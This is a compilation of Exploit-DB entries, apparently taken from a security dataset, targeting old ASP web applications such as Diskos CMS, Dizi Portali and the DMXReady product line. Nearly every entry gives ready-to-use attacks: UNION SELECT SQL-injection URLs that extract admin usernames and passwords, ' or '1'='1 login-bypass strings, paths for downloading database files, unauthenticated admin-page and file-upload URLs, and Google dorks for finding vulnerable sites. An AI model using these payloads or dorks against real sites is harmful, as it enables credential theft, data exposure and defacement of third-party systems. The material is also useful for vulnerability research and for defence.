deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13859
Description: Digital Interchange Document Library - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-13
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Digital Interchange Document Library SQL Vulnerability
Vendor url:http://www.digitalinterchange.com
Version:5.8.5
Cost: $129 USD
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

The Digital Interchange Document library allows you to easily and seamlessly
store your documents online! The administration area is a secured area with
an intuitive interface that will let you manage all of your documents from
any location with an internet connection. By storing your documents in
folders you setup in the Document Library, you will be able to quickly and
easily organize and access the information you need most.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:
http://server/view_group.asp?intGroupID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #35599
Description: Dimac CMS 1.3 XS - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2011-04-11
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47291/info

Dimac CMS XS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Dimac CMS XS 1.3 is vulnerable; other versions may also be affected. 

The following example URI and data are available:

http://www.example.com/[path]/CMSadmin/default.asp

Username : admin
Password : 1'or'1'='1
Exploit-DB #7445
Description: Discussion Web 4 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-14
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Discussion Web
Version : 4.0
Vendor : http://www.takempis.com/aboutdiscussion.htm
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/_private/discussion.mdb

---------------------------------

# milw0rm.com [2008-12-14]
Exploit-DB #8307
Description: Diskos CMS Manager - SQL Injection / File Disclosure / Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-03-30
Author: AnGeL25dZ

Exploit:
************************************************************
**         Diskos CMS Manager & multiple vulnerabilitiesS
************************************************************
**  Prodcut:		Diskos CMS Manager  
**  Home   : 		http://www.diskos.dk
**  Vunlerability :	SQL Injection & admin byapass & database disclosure 
**  Dork : 		"Powered By diskos"
**  			inurl:"side.asp?kat=1"
************************************************************
** Discovred by:	AnGeL25dZ
** Contact     : 	angel25dz@gmail.com	
** *********************************************************
** Greetz to :	 ALLAH 
**		 All Members of H-T (http://h-t.cc/cc)
**		 All Members of Islam-attack.com
*************************************************************
******************** SQL Injection **************************
************************************************************* 
** Exploit:  
** USERS :http://[PATH]/side.asp?kat=-1+union+all+select+brugerid+from+brugere
** ADMIn :http://[PATH]/side.asp?kat=-1+union+all+select+password+from+brugere
**  
** Administration Login : http://[path]/diskos6/
**
**************************************************************
********************** Admin bypass **************************
************************************************************** 
**  
** Administration Login : http://[path]/diskos6/
**  			  brugerid: ' or'1=1
**			  password: ' or'1=1
****************************************************************
******************** database disclosure **********************
****************************************************************
** http://[path]/db/log.mdb 
** 		    artikler_prod.mdb
**                  medlemmer.mdb
******************************************************************
** Live demo : http://www.diskos.dk/
****************************************************************

# milw0rm.com [2009-03-30]
Exploit-DB #16205
Description: DIY Web CMS - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-02-22
Author: p0pc0rn

Exploit:
SQL and XSS in DIY Web CMS
found by : p0pc0rn 22/2/2011
web : http://www.mydiyweb.com.my
dork : intext:"powered by DiyWeb"

SQL - Microsoft JET Database Engine error
-----------------------------------------

http://site.com/template.asp?menuid=[SQL]
http://site.com/viewcatalog.asp?id=[SQL]
http://site.com/xxx.asp?id=[SQL]

XSS
---
http://site.com/diyweb/login.asp?msg=[XSS] -- login page
Exploit-DB #31812
Description: DizaynPlus Nobetci Eczane Takip 1.0 - 'ayrinti.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-20
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29300/info

DizaynPlus Nobetci Eczane Takip is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DizaynPlus Nobetci Eczane Takip 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/lab/nobetcideczane/ayrinti.asp?anahtar=1+union+select+0,1,2,(admin),sifre,5+from+yetkili
Exploit-DB #32498
Description: Dizi Portali - 'diziler.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-21
Author: CyberGrup Lojistik

Exploit:
source: https://www.securityfocus.com/bid/31849/info

Dizi Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/path/diziler.asp?id=[Sql Injection]
Exploit-DB #32577
Description: Dizi Portali - 'film.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-10
Author: Kaan KAMIS

Exploit:
source: https://www.securityfocus.com/bid/32239/info

Dizi Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/film.asp?film=1+union+select+0,1,sifre,3,4,5+from+ayarlar
Exploit-DB #7754
Description: DMXReady Account List Manager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-13
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Account List Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $
# Dork    :  inurl:inc_accountlistmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_accountlistmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category

# http://[target]/[path]/admin/AccountListManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/AccountListManager/inc_accountlistmanager.asp
Edit  ->    http://[target]/[path]//admin/AccountListManager/add_category.asp

 :)

# milw0rm.com [2009-01-13]
Exploit-DB #17481
Description: DmxReady Bilboard 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady Bilboard v1.2 SQL Injection Vulnerability
# Google Dork: inurl:inc_billboardmanager_summary_popup.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=billboard-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....
----------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/BillboardManager/update.asp?ItemID=xx [ SQL ATTACK]
Exploit-DB #7791
Description: DMXReady Billboard Manager 1.1 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-01-15
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Billboard Manager <= 1.1 Remote File Upload Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $
# Dork    :  inurl:inc_billboardmanager.asp?ItemID=
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_billboardmanager.asp%3FItemID%3D&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

# http://[target]/[path]/admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

ItemID= 1,2,3,4,5.......

Example: 
You Find -> http://[target]/[path]//applications/BillboardManager/inc_billboardmanager.asp
Edit  ->    http://[target]/[path]//admin/BillboardManager/upload_document.asp?ItemID=[ItemID]

 :)

# milw0rm.com [2009-01-15]
Exploit-DB #7788
Description: DMXReady BillboardManager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: x0r

Exploit:
*******************************************************************************
# Title   :  DMXReady BillboardManager <= 1.1 Remote Contents Change Vulnerability
# Author  :  x0r
# Contact :   andry2000@hotmail.it \ x0r@live.it
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $

*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category

Example: 
You Find -> http://[target]/[path]//applications/BillboardManager/
Edit  ->   
http://www.demo.dmxready.com/admin/BillboardManager/add_category.asp

# milw0rm.com [2009-01-14]
Exploit-DB #7766
Description: DMXReady Catalog Manager 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Catalog Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  149.97 $
# Dork    :  inurl:inc_catalogmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_catalogmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/CatalogManager/CategoryManager/list.asp

Example: 
You Find -> http://[target]/[path]//applications/CatalogManager/inc_catalogmanager.asp
Edit  ->    http://[target]/[path]//admin/CatalogManager/CategoryManager/list.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #17472
Description: DmxReady Catalog Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady Catalog Manager v1.2 SQL Injection Vulneratbility
# Google Dork: inurl:inc_catalogmanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link: http://www.dmxready.com/?product=catalog-manager-v1
# Version: v1.2
#Language: ASP
# Price : $99.97
#Demo :
http://demo.dmxready.com/applications/CatalogManager/inc_catalogmanager.asp
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

-------------------------------------------------------------------------------------------------------------------------
Bug details;

http://localhost/path//inc_catalogmanager.asp?gpcid=2&cid=4&scid=21&ItemID=[SQLATTACK]
Exploit-DB #7767
Description: DMXReady Classified Listings Manager 1.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Classified Listings Manager <= 1.1 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  99.97 $
# Dork    :  inurl:inc_classifiedlistingsmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_classifiedlistingsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

Example:


USERNAME->
/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminUserName,2,5,9,3 from tblCLM_config

PASSWORD->
///admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminPassword,2,5,9,3 from tblCLM_config

ADMÃN LOGÃN->
http://[target]/[path]//admin/ClassifiedListingsManager/manage.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]
Exploit-DB #7768
Description: DMXReady Contact Us Manager 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Contact Us Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $
# Dork    :  inurl:inc_contactusmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_contactusmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/ContactUsManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/ContactUsManager/inc_contactusmanager.asp
Edit  ->    http://[target]/[path]//admin/ContactUsManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #17479
Description: DmxReady Contact Us Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title:DmxReady Contact Us Manager v1.2 SQL Injection Vulnerability
# Google Dork: inurl:inc_contactusmanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link: http://www.dmxready.com/?product=contact-us-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

-------------------------------------------------------------------------------------------------

Bug;

http://target/path/admin/CatalogManager/update.asp?ItemID=xx[SQL ATTACK]
Exploit-DB #7769
Description: DMXReady Document Library Manager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Document Library Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  39.97 $
# Dork    :  inurl:inc_documentlibrarymanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_documentlibrarymanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/DocumentLibraryManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/DocumentLibraryManager/inc_documentlibrarymanager.asp
Edit  ->    http://[target]/[path]//admin/DocumentLibraryManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #17482
Description: DmxReady Document Library Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady Document Library Manager v1.2 SQL Injection
Vulnerability
# Google Dork: inurl:inc_documentlibrarymanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=document-library-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

----------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/DocumentLibraryManager/update.asp?ItemID=xx [ SQL ATTACK]
Exploit-DB #7770
Description: DMXReady Faqs Manager 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Faqs Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  24.97 $
# Dork    :  inurl:inc_faqsmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_faqsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]//admin/FaqsManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/FaqsManager/inc_faqsmanager.asp
Edit  ->    http://[target]/[path]//admin/FaqsManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #17480
Description: DmxReady Faqs Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady Faqs Manager v1.2 SQL Injection Vulnerability
# Google Dork: inurl:inc_faqsmanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=faqs-manager-v1
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

---------------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/FaqsManager/update.asp?ItemID=xx [ SQL ATTACK]
Exploit-DB #7771
Description: DMXReady Job Listing 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Job Listing <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $
# Dork    :  inurl:inc_joblistingmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_joblistingmanager.asp&btnG=Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]//admin/JobListingManager/CategoryManager/list.asp

Example: 
You Find -> http://[target]/[path]//applications/JobListingManager/inc_joblistingmanager.asp
Edit  ->    http://[target]/[path]//admin/JobListingManager/CategoryManager/list.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #7772
Description: DMXReady Links Manager 1.1 - Remote Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Links Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  24.97 $
# Dork    :  inurl:inc_linksmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_linksmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category

# http://[target]/[path]//admin/LinksManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/LinksManager/inc_linksmanager.asp
Edit  ->    http://[target]/[path]//admin/LinksManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]